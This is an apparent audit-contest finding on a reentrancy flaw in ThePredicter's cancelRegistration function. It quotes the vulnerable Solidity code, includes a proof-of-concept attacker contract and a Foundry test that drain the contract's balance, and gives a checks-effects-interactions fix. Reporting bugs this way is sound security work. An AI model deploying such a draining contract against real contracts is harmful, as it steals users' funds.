Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack in `ThePredicter::cancelRegistration`

Summary

ThePredicter::cancelRegistration does not follow the CEI pattern and therefore is vulnerable to a reentrancy attack from an external caller.

Vulnerability Details

Relevent link- https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol

Any user is able to register in ThePredicter::register and therefore would be able to call the cancelRegistration function to receive their refund. Due to an external call being made before updating the player's status, this function is vulnerable to a reentrancy attack. The user would be able to create an external contract that calls cancelRegistration every time it receive ether in a fallback function. The process can repeat until the contract balance is below the entrance fee.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
//@audit-data function does not follow CEI pattern and can be called in a loop until contract balance is empty
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

POC

Create the following contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ReentrancyAttacker {
ThePredicter thePredicter;
uint256 entranceFee;
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
entranceFee = thePredicter.entranceFee();
}
function attack() external payable {
thePredicter.register{value: entranceFee}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance >= entranceFee) {
thePredicter.cancelRegistration();
}
}
}

Add the following code to ThePredicter.test.sol

function test_reentrancyLoop() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(
address(thePredicter)
);
address player1 = makeAddr("player1");
address player2 = makeAddr("player2");
address player3 = makeAddr("player3");
vm.startPrank(player1);
vm.deal(player1, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(player2);
vm.deal(player2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(player3);
vm.deal(player3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.deal(address(attacker), 1 ether);
uint256 startingPredicterBalance = address(thePredicter).balance;
uint256 startingAttackerBalance = address(attacker).balance;
attacker.attack();
uint256 endingPredicterBalance = address(thePredicter).balance;
uint256 endingAttackerBalance = address(attacker).balance;
assertEq(endingAttackerBalance, startingPredicterBalance + startingAttackerBalance);
assertEq(endingPredicterBalance, 0);
}

Impact

  • When users go to claim their rewards from ThePredicter::withdraw, the contract balance will be 0 preventing users from claiming any rewards they are eligible for

  • Any user that wishes to cancel their registration and receive a refund will be unable to do so as the contract will have no balance to repay

Tools Used

Slither and Manual Review

Recommendations

Update the player's status before the external call to follow the CEI pattern

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.